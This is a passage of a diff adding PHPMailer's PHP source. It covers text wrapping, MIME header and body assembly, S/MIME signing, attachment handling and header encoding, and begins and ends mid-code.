($qp_mode) { + $soft_break = sprintf(' =%s', static::$LE); + } else { + $soft_break = static::$LE; + } + // If utf-8 encoding is used, we will need to make sure we don't + // split multibyte characters when we wrap + $is_utf8 = (strtolower($this->CharSet) == 'utf-8'); + $lelen = strlen(static::$LE); + $crlflen = strlen(static::$LE); + + $message = static::normalizeBreaks($message); + //Remove a trailing line break + if (substr($message, -$lelen) == static::$LE) { + $message = substr($message, 0, -$lelen); + } + + //Split message into lines + $lines = explode(static::$LE, $message); + //Message will be rebuilt in here + $message = ''; + foreach ($lines as $line) { + $words = explode(' ', $line); + $buf = ''; + $firstword = true; + foreach ($words as $word) { + if ($qp_mode and (strlen($word) > $length)) { + $space_left = $length - strlen($buf) - $crlflen; + if (!$firstword) { + if ($space_left > 20) { + $len = $space_left; + if ($is_utf8) { + $len = $this->utf8CharBoundary($word, $len); + } elseif (substr($word, $len - 1, 1) == '=') { + --$len; + } elseif (substr($word, $len - 2, 1) == '=') { + $len -= 2; + } + $part = substr($word, 0, $len); + $word = substr($word, $len); + $buf .= ' ' . $part; + $message .= $buf . sprintf('=%s', static::$LE); + } else { + $message .= $buf . $soft_break; + } + $buf = ''; + } + while (strlen($word) > 0) { + if ($length <= 0) { + break; + } + $len = $length; + if ($is_utf8) { + $len = $this->utf8CharBoundary($word, $len); + } elseif (substr($word, $len - 1, 1) == '=') { + --$len; + } elseif (substr($word, $len - 2, 1) == '=') { + $len -= 2; + } + $part = substr($word, 0, $len); + $word = substr($word, $len); + + if (strlen($word) > 0) { + $message .= $part . sprintf('=%s', static::$LE); + } else { + $buf = $part; + } + } + } else { + $buf_o = $buf; + if (!$firstword) { + $buf .= ' '; + } + $buf .= $word; + + if (strlen($buf) > $length and $buf_o != '') { + $message .= $buf_o . $soft_break; + $buf = $word; + } + } + $firstword = false; + } + $message .= $buf . static::$LE; + } + + return $message; + } + + /** + * Find the last character boundary prior to $maxLength in a utf-8 + * quoted-printable encoded string. + * Original written by Colin Brown. + * + * @param string $encodedText utf-8 QP text + * @param int $maxLength Find the last character boundary prior to this length + * + * @return int + */ + public function utf8CharBoundary($encodedText, $maxLength) + { + $foundSplitPos = false; + $lookBack = 3; + while (!$foundSplitPos) { + $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack); + $encodedCharPos = strpos($lastChunk, '='); + if (false !== $encodedCharPos) { + // Found start of encoded character byte within $lookBack block. + // Check the encoded byte value (the 2 chars after the '=') + $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2); + $dec = hexdec($hex); + if ($dec < 128) { + // Single byte character. + // If the encoded char was found at pos 0, it will fit + // otherwise reduce maxLength to start of the encoded char + if ($encodedCharPos > 0) { + $maxLength -= $lookBack - $encodedCharPos; + } + $foundSplitPos = true; + } elseif ($dec >= 192) { + // First byte of a multi byte character + // Reduce maxLength to split at start of character + $maxLength -= $lookBack - $encodedCharPos; + $foundSplitPos = true; + } elseif ($dec < 192) { + // Middle byte of a multi byte character, look further back + $lookBack += 3; + } + } else { + // No encoded character found + $foundSplitPos = true; + } + } + + return $maxLength; + } + + /** + * Apply word wrapping to the message body. + * Wraps the message body to the number of chars set in the WordWrap property. + * You should only do this to plain-text bodies as wrapping HTML tags may break them. + * This is called automatically by createBody(), so you don't need to call it yourself. + */ + public function setWordWrap() + { + if ($this->WordWrap < 1) { + return; + } + + switch ($this->message_type) { + case 'alt': + case 'alt_inline': + case 'alt_attach': + case 'alt_inline_attach': + $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap); + break; + default: + $this->Body = $this->wrapText($this->Body, $this->WordWrap); + break; + } + } + + /** + * Assemble message headers. + * + * @return string The assembled headers + */ + public function createHeader() + { + $result = ''; + + $result .= $this->headerLine('Date', '' == $this->MessageDate ? self::rfcDate() : $this->MessageDate); + + // To be created automatically by mail() + if ($this->SingleTo) { + if ('mail' != $this->Mailer) { + foreach ($this->to as $toaddr) { + $this->SingleToArray[] = $this->addrFormat($toaddr); + } + } + } else { + if (count($this->to) > 0) { + if ('mail' != $this->Mailer) { + $result .= $this->addrAppend('To', $this->to); + } + } elseif (count($this->cc) == 0) { + $result .= $this->headerLine('To', 'undisclosed-recipients:;'); + } + } + + $result .= $this->addrAppend('From', [[trim($this->From), $this->FromName]]); + + // sendmail and mail() extract Cc from the header before sending + if (count($this->cc) > 0) { + $result .= $this->addrAppend('Cc', $this->cc); + } + + // sendmail and mail() extract Bcc from the header before sending + if (( + 'sendmail' == $this->Mailer or 'qmail' == $this->Mailer or 'mail' == $this->Mailer + ) + and count($this->bcc) > 0 + ) { + $result .= $this->addrAppend('Bcc', $this->bcc); + } + + if (count($this->ReplyTo) > 0) { + $result .= $this->addrAppend('Reply-To', $this->ReplyTo); + } + + // mail() sets the subject itself + if ('mail' != $this->Mailer) { + $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject))); + } + + // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4 + // https://tools.ietf.org/html/rfc5322#section-3.6.4 + if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) { + $this->lastMessageID = $this->MessageID; + } else { + $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname()); + } + $result .= $this->headerLine('Message-ID', $this->lastMessageID); + if (null !== $this->Priority) { + $result .= $this->headerLine('X-Priority', $this->Priority); + } + if ('' == $this->XMailer) { + $result .= $this->headerLine( + 'X-Mailer', + 'PHPMailer ' . self::VERSION . ' (https://github.com/PHPMailer/PHPMailer)' + ); + } else { + $myXmailer = trim($this->XMailer); + if ($myXmailer) { + $result .= $this->headerLine('X-Mailer', $myXmailer); + } + } + + if ('' != $this->ConfirmReadingTo) { + $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>'); + } + + // Add custom headers + foreach ($this->CustomHeader as $header) { + $result .= $this->headerLine( + trim($header[0]), + $this->encodeHeader(trim($header[1])) + ); + } + if (!$this->sign_key_file) { + $result .= $this->headerLine('MIME-Version', '1.0'); + $result .= $this->getMailMIME(); + } + + return $result; + } + + /** + * Get the message MIME type headers. + * + * @return string + */ + public function getMailMIME() + { + $result = ''; + $ismultipart = true; + switch ($this->message_type) { + case 'inline': + $result .= $this->headerLine('Content-Type', 'multipart/related;'); + $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"'); + break; + case 'attach': + case 'inline_attach': + case 'alt_attach': + case 'alt_inline_attach': + $result .= $this->headerLine('Content-Type', 'multipart/mixed;'); + $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"'); + break; + case 'alt': + case 'alt_inline': + $result .= $this->headerLine('Content-Type', 'multipart/alternative;'); + $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"'); + break; + default: + // Catches case 'plain': and case '': + $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet); + $ismultipart = false; + break; + } + // RFC1341 part 5 says 7bit is assumed if not specified + if ('7bit' != $this->Encoding) { + // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE + if ($ismultipart) { + if ('8bit' == $this->Encoding) { + $result .= $this->headerLine('Content-Transfer-Encoding', '8bit'); + } + // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible + } else { + $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding); + } + } + + if ('mail' != $this->Mailer) { + $result .= static::$LE; + } + + return $result; + } + + /** + * Returns the whole MIME message. + * Includes complete headers and body. + * Only valid post preSend(). + * + * @see PHPMailer::preSend() + * + * @return string + */ + public function getSentMIMEMessage() + { + return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . static::$LE . static::$LE . $this->MIMEBody; + } + + /** + * Create a unique ID to use for boundaries. + * + * @return string + */ + protected function generateId() + { + $len = 32; //32 bytes = 256 bits + if (function_exists('random_bytes')) { + $bytes = random_bytes($len); + } elseif (function_exists('openssl_random_pseudo_bytes')) { + $bytes = openssl_random_pseudo_bytes($len); + } else { + //Use a hash to force the length to the same as the other methods + $bytes = hash('sha256', uniqid((string) mt_rand(), true), true); + } + + //We don't care about messing up base64 format here, just want a random string + return str_replace(['=', '+', '/'], '', base64_encode(hash('sha256', $bytes, true))); + } + + /** + * Assemble the message body. + * Returns an empty string on failure. + * + * @throws Exception + * + * @return string The assembled message body + */ + public function createBody() + { + $body = ''; + //Create unique IDs and preset boundaries + $this->uniqueid = $this->generateId(); + $this->boundary[1] = 'b1_' . $this->uniqueid; + $this->boundary[2] = 'b2_' . $this->uniqueid; + $this->boundary[3] = 'b3_' . $this->uniqueid; + + if ($this->sign_key_file) { + $body .= $this->getMailMIME() . static::$LE; + } + + $this->setWordWrap(); + + $bodyEncoding = $this->Encoding; + $bodyCharSet = $this->CharSet; + //Can we do a 7-bit downgrade? + if ('8bit' == $bodyEncoding and !$this->has8bitChars($this->Body)) { + $bodyEncoding = '7bit'; + //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit + $bodyCharSet = 'us-ascii'; + } + //If lines are too long, and we're not already using an encoding that will shorten them, + //change to quoted-printable transfer encoding for the body part only + if ('base64' != $this->Encoding and static::hasLineLongerThanMax($this->Body)) { + $bodyEncoding = 'quoted-printable'; + } + + $altBodyEncoding = $this->Encoding; + $altBodyCharSet = $this->CharSet; + //Can we do a 7-bit downgrade? + if ('8bit' == $altBodyEncoding and !$this->has8bitChars($this->AltBody)) { + $altBodyEncoding = '7bit'; + //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit + $altBodyCharSet = 'us-ascii'; + } + //If lines are too long, and we're not already using an encoding that will shorten them, + //change to quoted-printable transfer encoding for the alt body part only + if ('base64' != $altBodyEncoding and static::hasLineLongerThanMax($this->AltBody)) { + $altBodyEncoding = 'quoted-printable'; + } + //Use this as a preamble in all multipart message types + $mimepre = 'This is a multi-part message in MIME format.' . static::$LE; + switch ($this->message_type) { + case 'inline': + $body .= $mimepre; + $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); + $body .= $this->encodeString($this->Body, $bodyEncoding); + $body .= static::$LE; + $body .= $this->attachAll('inline', $this->boundary[1]); + break; + case 'attach': + $body .= $mimepre; + $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); + $body .= $this->encodeString($this->Body, $bodyEncoding); + $body .= static::$LE; + $body .= $this->attachAll('attachment', $this->boundary[1]); + break; + case 'inline_attach': + $body .= $mimepre; + $body .= $this->textLine('--' . $this->boundary[1]); + $body .= $this->headerLine('Content-Type', 'multipart/related;'); + $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"'); + $body .= static::$LE; + $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding); + $body .= $this->encodeString($this->Body, $bodyEncoding); + $body .= static::$LE; + $body .= $this->attachAll('inline', $this->boundary[2]); + $body .= static::$LE; + $body .= $this->attachAll('attachment', $this->boundary[1]); + break; + case 'alt': + $body .= $mimepre; + $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding); + $body .= $this->encodeString($this->AltBody, $altBodyEncoding); + $body .= static::$LE; + $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding); + $body .= $this->encodeString($this->Body, $bodyEncoding); + $body .= static::$LE; + if (!empty($this->Ical)) { + $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', ''); + $body .= $this->encodeString($this->Ical, $this->Encoding); + $body .= static::$LE; + } + $body .= $this->endBoundary($this->boundary[1]); + break; + case 'alt_inline': + $body .= $mimepre; + $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding); + $body .= $this->encodeString($this->AltBody, $altBodyEncoding); + $body .= static::$LE; + $body .= $this->textLine('--' . $this->boundary[1]); + $body .= $this->headerLine('Content-Type', 'multipart/related;'); + $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"'); + $body .= static::$LE; + $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding); + $body .= $this->encodeString($this->Body, $bodyEncoding); + $body .= static::$LE; + $body .= $this->attachAll('inline', $this->boundary[2]); + $body .= static::$LE; + $body .= $this->endBoundary($this->boundary[1]); + break; + case 'alt_attach': + $body .= $mimepre; + $body .= $this->textLine('--' . $this->boundary[1]); + $body .= $this->headerLine('Content-Type', 'multipart/alternative;'); + $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"'); + $body .= static::$LE; + $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding); + $body .= $this->encodeString($this->AltBody, $altBodyEncoding); + $body .= static::$LE; + $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding); + $body .= $this->encodeString($this->Body, $bodyEncoding); + $body .= static::$LE; + if (!empty($this->Ical)) { + $body .= $this->getBoundary($this->boundary[2], '', 'text/calendar; method=REQUEST', ''); + $body .= $this->encodeString($this->Ical, $this->Encoding); + } + $body .= $this->endBoundary($this->boundary[2]); + $body .= static::$LE; + $body .= $this->attachAll('attachment', $this->boundary[1]); + break; + case 'alt_inline_attach': + $body .= $mimepre; + $body .= $this->textLine('--' . $this->boundary[1]); + $body .= $this->headerLine('Content-Type', 'multipart/alternative;'); + $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"'); + $body .= static::$LE; + $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding); + $body .= $this->encodeString($this->AltBody, $altBodyEncoding); + $body .= static::$LE; + $body .= $this->textLine('--' . $this->boundary[2]); + $body .= $this->headerLine('Content-Type', 'multipart/related;'); + $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"'); + $body .= static::$LE; + $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding); + $body .= $this->encodeString($this->Body, $bodyEncoding); + $body .= static::$LE; + $body .= $this->attachAll('inline', $this->boundary[3]); + $body .= static::$LE; + $body .= $this->endBoundary($this->boundary[2]); + $body .= static::$LE; + $body .= $this->attachAll('attachment', $this->boundary[1]); + break; + default: + // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types + //Reset the `Encoding` property in case we changed it for line length reasons + $this->Encoding = $bodyEncoding; + $body .= $this->encodeString($this->Body, $this->Encoding); + break; + } + + if ($this->isError()) { + $body = ''; + if ($this->exceptions) { + throw new Exception($this->lang('empty_message'), self::STOP_CRITICAL); + } + } elseif ($this->sign_key_file) { + try { + if (!defined('PKCS7_TEXT')) { + throw new Exception($this->lang('extension_missing') . 'openssl'); + } + // @TODO would be nice to use php://temp streams here + $file = tempnam(sys_get_temp_dir(), 'mail'); + if (false === file_put_contents($file, $body)) { + throw new Exception($this->lang('signing') . ' Could not write temp file'); + } + $signed = tempnam(sys_get_temp_dir(), 'signed'); + //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197 + if (empty($this->sign_extracerts_file)) { + $sign = @openssl_pkcs7_sign( + $file, + $signed, + 'file://' . realpath($this->sign_cert_file), + ['file://' . realpath($this->sign_key_file), $this->sign_key_pass], + [] + ); + } else { + $sign = @openssl_pkcs7_sign( + $file, + $signed, + 'file://' . realpath($this->sign_cert_file), + ['file://' . realpath($this->sign_key_file), $this->sign_key_pass], + [], + PKCS7_DETACHED, + $this->sign_extracerts_file + ); + } + @unlink($file); + if ($sign) { + $body = file_get_contents($signed); + @unlink($signed); + //The message returned by openssl contains both headers and body, so need to split them up + $parts = explode("\n\n", $body, 2); + $this->MIMEHeader .= $parts[0] . static::$LE . static::$LE; + $body = $parts[1]; + } else { + @unlink($signed); + throw new Exception($this->lang('signing') . openssl_error_string()); + } + } catch (Exception $exc) { + $body = ''; + if ($this->exceptions) { + throw $exc; + } + } + } + + return $body; + } + + /** + * Return the start of a message boundary. + * + * @param string $boundary + * @param string $charSet + * @param string $contentType + * @param string $encoding + * + * @return string + */ + protected function getBoundary($boundary, $charSet, $contentType, $encoding) + { + $result = ''; + if ('' == $charSet) { + $charSet = $this->CharSet; + } + if ('' == $contentType) { + $contentType = $this->ContentType; + } + if ('' == $encoding) { + $encoding = $this->Encoding; + } + $result .= $this->textLine('--' . $boundary); + $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet); + $result .= static::$LE; + // RFC1341 part 5 says 7bit is assumed if not specified + if ('7bit' != $encoding) { + $result .= $this->headerLine('Content-Transfer-Encoding', $encoding); + } + $result .= static::$LE; + + return $result; + } + + /** + * Return the end of a message boundary. + * + * @param string $boundary + * + * @return string + */ + protected function endBoundary($boundary) + { + return static::$LE . '--' . $boundary . '--' . static::$LE; + } + + /** + * Set the message type. + * PHPMailer only supports some preset message types, not arbitrary MIME structures. + */ + protected function setMessageType() + { + $type = []; + if ($this->alternativeExists()) { + $type[] = 'alt'; + } + if ($this->inlineImageExists()) { + $type[] = 'inline'; + } + if ($this->attachmentExists()) { + $type[] = 'attach'; + } + $this->message_type = implode('_', $type); + if ('' == $this->message_type) { + //The 'plain' message_type refers to the message having a single body element, not that it is plain-text + $this->message_type = 'plain'; + } + } + + /** + * Format a header line. + * + * @param string $name + * @param string|int $value + * + * @return string + */ + public function headerLine($name, $value) + { + return $name . ': ' . $value . static::$LE; + } + + /** + * Return a formatted mail line. + * + * @param string $value + * + * @return string + */ + public function textLine($value) + { + return $value . static::$LE; + } + + /** + * Add an attachment from a path on the filesystem. + * Never use a user-supplied path to a file! + * Returns false if the file could not be found or read. + * + * @param string $path Path to the attachment + * @param string $name Overrides the attachment name + * @param string $encoding File encoding (see $Encoding) + * @param string $type File extension (MIME) type + * @param string $disposition Disposition to use + * + * @throws Exception + * + * @return bool + */ + public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment') + { + try { + if (!@is_file($path)) { + throw new Exception($this->lang('file_access') . $path, self::STOP_CONTINUE); + } + + // If a MIME type is not specified, try to work it out from the file name + if ('' == $type) { + $type = static::filenameToType($path); + } + + $filename = basename($path); + if ('' == $name) { + $name = $filename; + } + + $this->attachment[] = [ + 0 => $path, + 1 => $filename, + 2 => $name, + 3 => $encoding, + 4 => $type, + 5 => false, // isStringAttachment + 6 => $disposition, + 7 => $name, + ]; + } catch (Exception $exc) { + $this->setError($exc->getMessage()); + $this->edebug($exc->getMessage()); + if ($this->exceptions) { + throw $exc; + } + + return false; + } + + return true; + } + + /** + * Return the array of attachments. + * + * @return array + */ + public function getAttachments() + { + return $this->attachment; + } + + /** + * Attach all file, string, and binary attachments to the message. + * Returns an empty string on failure. + * + * @param string $disposition_type + * @param string $boundary + * + * @return string + */ + protected function attachAll($disposition_type, $boundary) + { + // Return text of body + $mime = []; + $cidUniq = []; + $incl = []; + + // Add all attachments + foreach ($this->attachment as $attachment) { + // Check if it is a valid disposition_filter + if ($attachment[6] == $disposition_type) { + // Check for string attachment + $string = ''; + $path = ''; + $bString = $attachment[5]; + if ($bString) { + $string = $attachment[0]; + } else { + $path = $attachment[0]; + } + + $inclhash = hash('sha256', serialize($attachment)); + if (in_array($inclhash, $incl)) { + continue; + } + $incl[] = $inclhash; + $name = $attachment[2]; + $encoding = $attachment[3]; + $type = $attachment[4]; + $disposition = $attachment[6]; + $cid = $attachment[7]; + if ('inline' == $disposition and array_key_exists($cid, $cidUniq)) { + continue; + } + $cidUniq[$cid] = true; + + $mime[] = sprintf('--%s%s', $boundary, static::$LE); + //Only include a filename property if we have one + if (!empty($name)) { + $mime[] = sprintf( + 'Content-Type: %s; name="%s"%s', + $type, + $this->encodeHeader($this->secureHeader($name)), + static::$LE + ); + } else { + $mime[] = sprintf( + 'Content-Type: %s%s', + $type, + static::$LE + ); + } + // RFC1341 part 5 says 7bit is assumed if not specified + if ('7bit' != $encoding) { + $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, static::$LE); + } + + if (!empty($cid)) { + $mime[] = sprintf('Content-ID: <%s>%s', $cid, static::$LE); + } + + // If a filename contains any of these chars, it should be quoted, + // but not otherwise: RFC2183 & RFC2045 5.1 + // Fixes a warning in IETF's msglint MIME checker + // Allow for bypassing the Content-Disposition header totally + if (!(empty($disposition))) { + $encoded_name = $this->encodeHeader($this->secureHeader($name)); + if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) { + $mime[] = sprintf( + 'Content-Disposition: %s; filename="%s"%s', + $disposition, + $encoded_name, + static::$LE . static::$LE + ); + } else { + if (!empty($encoded_name)) { + $mime[] = sprintf( + 'Content-Disposition: %s; filename=%s%s', + $disposition, + $encoded_name, + static::$LE . static::$LE + ); + } else { + $mime[] = sprintf( + 'Content-Disposition: %s%s', + $disposition, + static::$LE . static::$LE + ); + } + } + } else { + $mime[] = static::$LE; + } + + // Encode as string attachment + if ($bString) { + $mime[] = $this->encodeString($string, $encoding); + } else { + $mime[] = $this->encodeFile($path, $encoding); + } + if ($this->isError()) { + return ''; + } + $mime[] = static::$LE; + } + } + + $mime[] = sprintf('--%s--%s', $boundary, static::$LE); + + return implode('', $mime); + } + + /** + * Encode a file attachment in requested format. + * Returns an empty string on failure. + * + * @param string $path The full path to the file + * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable' + * + * @throws Exception + * + * @return string + */ + protected function encodeFile($path, $encoding = 'base64') + { + try { + if (!file_exists($path)) { + throw new Exception($this->lang('file_open') . $path, self::STOP_CONTINUE); + } + $file_buffer = file_get_contents($path); + if (false === $file_buffer) { + throw new Exception($this->lang('file_open') . $path, self::STOP_CONTINUE); + } + $file_buffer = $this->encodeString($file_buffer, $encoding); + + return $file_buffer; + } catch (Exception $exc) { + $this->setError($exc->getMessage()); + + return ''; + } + } + + /** + * Encode a string in requested format. + * Returns an empty string on failure. + * + * @param string $str The text to encode + * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable + * + * @return string + */ + public function encodeString($str, $encoding = 'base64') + { + $encoded = ''; + switch (strtolower($encoding)) { + case 'base64': + $encoded = chunk_split( + base64_encode($str), + static::STD_LINE_LENGTH - strlen(static::$LE), + static::$LE + ); + break; + case '7bit': + case '8bit': + $encoded = static::normalizeBreaks($str); + // Make sure it ends with a line break + if (substr($encoded, -(strlen(static::$LE))) != static::$LE) { + $encoded .= static::$LE; + } + break; + case 'binary': + $encoded = $str; + break; + case 'quoted-printable': + $encoded = $this->encodeQP($str); + break; + default: + $this->setError($this->lang('encoding') . $encoding); + break; + } + + return $encoded; + } + + /** + * Encode a header value (not including its label) optimally. + * Picks shortest of Q, B, or none. Result includes folding if needed. + * See RFC822 definitions for phrase, comment and text positions. + * + * @param string $str The header value to encode + * @param string $position What context the string will be used in + * + * @return string + */ + public function encodeHeader($str, $position = 'text') + { + $matchcount = 0; + switch (strtolower($position)) { + case 'phrase': + if (!preg_match('/[\200-\377]/', $str)) { + // Can't use addslashes as we don't know the value of magic_quotes_sybase + $encoded = addcslashes($str, "\0..\37\177\\\""); + if (($str == $encoded) and !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) { + return $encoded; + } + + return "\"$encoded\""; + } + $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches); + break; + /* @noinspection PhpMissingBreakStatementInspection */ + case 'comment': + $matchcount = preg_match_all('/[()"]/', $str, $matches); + //fallthrough + case 'text': + default: + $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches); + break; + } + + //RFCs specify a maximum line length of 78 chars, however mail() will sometimes + //corrupt messages with headers longer than 65 chars. See #818 + $lengthsub = 'mail' == $this->Mailer ? 13 : 0; + $maxlen = static::STD_LINE_LENGTH - $lengthsub; + // Try to select the encoding which should produce the shortest output + if ($matchcount > strlen($str) / 3) { + // More than a third of the content will need encoding, so B encoding will be most efficient + $encoding = 'B'; + //This calculation is: + // max line length + // - shorten to avoid mail() corruption + // - Q/B encoding char overhead ("` =??[QB]??=`") + // - charset name length + $maxlen = static::STD_LINE_LENGTH - $lengthsub - 8 - strlen($this->CharSet); + if ($this->hasMultiBytes($str)) { + // Use a custom function which correctly encodes and wraps long + // multibyte strings without breaking lines within a character + $encoded = $this->base64EncodeWrapMB($str, "\n"); + } else { + $encoded = base64_encode($str); + $maxlen -= $maxlen % 4; + $encoded = trim(chunk_split($encoded, $maxlen, "\n")); + } + $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded); + } elseif ($matchcount > 0) { + //1 or more chars need encoding, use Q-encode + $encoding = 'Q'; + //Recalc max line length for Q encoding - see comments on B encode + $maxlen = static::STD_LINE_LENGTH - $lengthsub - 8 - strlen($this->CharSet); + $encoded = $this->encodeQ($str, $position); + $encoded = $this->wrapText($encoded, $maxlen, true); + $encoded = str_replace('=' . static::$LE, "\n", trim($encoded)); + $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded); + } elseif (strlen($str) > $maxlen) { + //No chars need encoding, but line is too long, so fold it + $encoded = trim($this->wrapText($str, $maxlen, false)); + if ($str == $encoded) { + //Wrapping nicely didn't work, wrap hard instead + $encoded = trim(chunk_split($str, static::STD_LINE_LENGTH, static::$LE)); + } + $encoded = str_replace(static::$LE, "\n", trim($encoded)); + $encoded = preg_replace('/^(.*)$/m', ' \\1', $encoded); + } else { + //No reformatting needed + return $str; + } + + return trim(static::normalizeBreaks($encoded)); + } + + /** + * Check if a string contains multi-byte characters. + * + * @param string $str multi-byte text to wrap encode + * + * @return bool + */ + public function hasMultiBytes($str) + { + if (function_exists('mb_strlen')) { + return strlen($str) > mb_strlen($str, $this->CharSet); + } + + // Assume no multibytes (we can't handle without mbstring functions anyway) + return false; + } + + /** + * Does a string contain any 8-bit chars (in any charset)? + * + * @param string $text + * + * @return bool + */ + public function has8bitChars($text) + { + return (bool) preg_match('/[\x80-\xFF]/', $text); + } + + /** + * Encode and wrap long multibyte strings for mail headers + * without breaking lines within a character. + * Adapted from a function by paravoid. + * + * @see http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283 + * + * @param string $str multi-byte text to wrap encode + * @param string $linebreak string to use as linefeed/end-of-line + * + * @return string + */ + public function base64EncodeWrapMB($str, $linebreak = null) + { + $start = '=?' . $this->CharSet . '?B?'; + $end = '?='; + $encoded = ''; + if (null === $linebreak) { + $linebreak = static::$LE; + } + + $mb_length = mb_strlen($str, $this->CharSet); + // Each line must have length <= 75, including $start and $end + $length = 75 - strlen($start) - strlen($end); + // Average multi-byte ratio + $ratio = $mb_length / strlen($str); + // Base64 has a 4:3 ratio + $avgLength = floor($length * $ratio * .75); + + for ($i = 0; $i < $mb_length; $i += $offset) { + $lookBack = 0; + do { + $offset = $avgLength - $lookBack; + $chunk = mb_substr($str, $i, $offset, $this->CharSet); + $chunk = base64_encode($chunk); + ++$lookBack; + } while (strlen($chunk) > $length); + $encoded .= $chunk . $linebreak; + } + + // Chomp the last linefeed + return substr($encoded, 0, -strlen($linebreak)); + } + + /** + * Encode a string in quoted-printable format. + * According to RFC2045 section 6.7. + * + * @param string $string The text to encode + * + * @return string + */ + public function encodeQP($string) + { + return static::normalizeBreaks(quoted_printable_encode($string)); + } + + /** + * Encode a string using Q encoding. + * + * @see http://tools.ietf.org/html/rfc2047#section-4.2 + * + * @param string $str the text to encode + * @param string $position Where the text is going to be used, see the RFC for what that means + * + * @return string + */ + public function encodeQ($str, $position = 'text') + { + // There should not be any EOL in the string + $pattern = ''; + $encoded = str_replace(["\r", "\n"], '', $str); + switch (strtolower($position)) { + case 'phrase': + // RFC 2047 section 5.3 + $pattern = '^A-Za-z0-9!*+\/ -'; + break; + /* + * RFC 2047 section 5.2. + * Build $pattern without including delimiters and [] + */ + /* @noinspection PhpMissingBreakStatementInspection */ + case 'comment': + $pattern = '\(\)"'; + /* Intentional fall through */ + case 'text': + default: + // RFC 2047 section 5.1 + // Replace every high ascii, control, =, ? and _ characters + $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern; + break; + } + $matches = []; + if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) { + // If the string contains an '=', make sure it's the first thing we replace + // so as to avoid double-encoding + $eqkey = array_search('=', $matches[0]); + if (false !== $eqkey) { + unset($matches[0][$eqkey]); + array_unshift($matches[0], '='); + } + foreach (array_unique($matches[0]) as $char) { + $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded); + } + } + // Replace spaces with _ (more readable than =20) + // RFC 2047 section 4.2(2) + return str_replace(' ', '_', $encoded); + } + + /** + * Add a string or binary attachment (non-filesystem). + * This method can be used to attach ascii or binary data, + * such as a BLOB record from a database. + * + * @param string $string String attachment data + * @param string $filename Name of the attachment + * @param string $encoding File encoding (see $Encoding) + * @param string $type File extension (MIME) type + * @param string $disposition Disposition to use + */ + public function addStringAttachment( + $string, + $filename, + $encoding = 'base64', + $type = '', + $disposition = 'attachment' + ) { + // If a MIME type is not specified, try to work it out from the file name + if ('' == $type) { + $type = static::filenameToType($filename); + } + // Append to $attachment array + $this->attachment[] = [ + 0 => $string, + 1 => $filename, + 2 => basename($filename), + 3 => $encoding, + 4 => $type, + 5 => true, // isStringAttachment + 6 => $disposition, + 7 => 0, + ]; + } + + /** + * Add an embedded (inline) attachment from a file. + * This can include images, sounds, and just about any other document type. + * These differ from 'regular' attachments in that they are intended to be + * displayed inline with the message, not just attached for download. + * This is used in HTML messages that embed the images + * the HTML refers to using the $cid value. + * Never use a user-supplied path to a file! + * + * @param string $path Path to the attachment + * @param string $cid Content ID of the attachment; Use this to reference + * the content when using an embedded image in HTML + * @param string $name Overrides the attachment name + * @param string $encoding File encoding (see $Encoding) + * @param string $type File 